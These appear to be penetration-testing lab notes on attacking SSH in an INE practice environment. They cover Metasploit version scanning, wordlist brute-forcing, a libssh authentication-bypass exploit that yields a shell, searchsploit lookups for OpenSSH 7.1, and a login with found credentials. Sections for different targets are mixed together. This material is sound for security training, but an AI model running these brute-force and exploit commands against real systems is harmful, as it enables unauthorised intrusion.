# Port 22 SSH
### SSH Enumeration
#### Version Enumeration with Metasploit
```
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS demo.ine.local
exploit
```
### Bruteforce SSH
#### Metasploit SSH bruteforcing
We will now use ssh\_login module to find the valid credentials to access the ssh server.
```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit
```
### SSH Exploitation
```
┌──(root㉿INE)-[~]
└─# nmap -sS -sV --script=vuln demo.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 20:21 IST
Nmap scan report for demo.ine.local (192.148.44.3)
Host is up (0.000028s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh libssh 0.8.3 (protocol 2.0)
MAC Address: 02:42:C0:94:2C:03 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds
```
#### Exploiting libssh with metasploit
Metasploit has an exploit for this. In the same module, there are both auxiliary scans and the exploit itself. Since we need to exploit it, let’s first check the available options.
For this exploit, we only need to set two parameters: `RHOSTS` and `SPAWN_PTY`. In the auxiliary section, we can confirm that it will directly spawn a shell once executed.
After setting the parameters, type `exploit` to execute the exploit and gain access to the shell.
As the output shows, the session has been created and opened. To verify, type the following command: `sessions`
To use this session, type `sessions -i 2`. This will successfully grant us access to the shell.
#### OpenSSH Exploits
Given that we have obtained the exact version of OpenSSH running on the target system, we can utilize Searchsploit to search for exploits that affect this specific version of OpenSSH.
This can be done by running the following command:
```
searchsploit OpenSSH 7.1
```
As shown in the following screenshot, Searchsploit reveals various username enumeration scripts that can be used to enumerate user accounts.
We can utilize these scripts to enumerate user accounts on the target system, we have already identified one user account that can also be used to authenticate with the OpenSSH server.
### Metasploit SSH login
```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERNAME jackie
set PASSWORD password
exploit
```
